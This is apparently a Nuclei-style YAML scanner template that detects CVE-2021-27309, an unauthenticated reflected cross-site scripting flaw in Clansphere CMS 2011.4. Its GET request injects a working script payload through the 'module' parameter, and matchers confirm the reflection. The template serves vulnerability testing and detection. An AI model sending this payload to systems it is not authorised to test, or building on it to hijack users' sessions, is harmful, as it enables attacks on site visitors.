52 lines
1.7 KiB
YAML
52 lines
1.7 KiB
YAML
id: CVE-2021-27309
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info:
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name: Clansphere CMS 2011.4 - Cross-Site Scripting
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author: edoardottt
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severity: medium
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description: |
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Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the "module" parameter.
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remediation: |
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Upgrade to a patched version of Clansphere CMS or apply the vendor-supplied patch to fix the XSS vulnerability.
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reference:
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- https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22module%22%20xss.md
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27309
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- https://nvd.nist.gov/vuln/detail/CVE-2021-27309
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-27309
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cwe-id: CWE-79
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epss-score: 0.001
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epss-percentile: 0.40822
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cpe: cpe:2.3:a:csphere:clansphere:2011.4:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: csphere
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product: clansphere
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tags: cve,cve2021,clansphere,xss,cms,unauth
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http:
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- method: GET
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path:
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- "{{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22></script><script>alert(document.domain)</script>"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '"></script><script>alert(document.domain)</script>.php'
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022004a4dcda4bbb0ae2f5b06817625f65f4b14818827129a0fc5b7fe1d25bf8afcb022100d42c813fcd7a59cc76a4f35c9b5e53366ee12e863318822fadec593b9f3e2f28:922c64590222798bb761d5b6d8e72950
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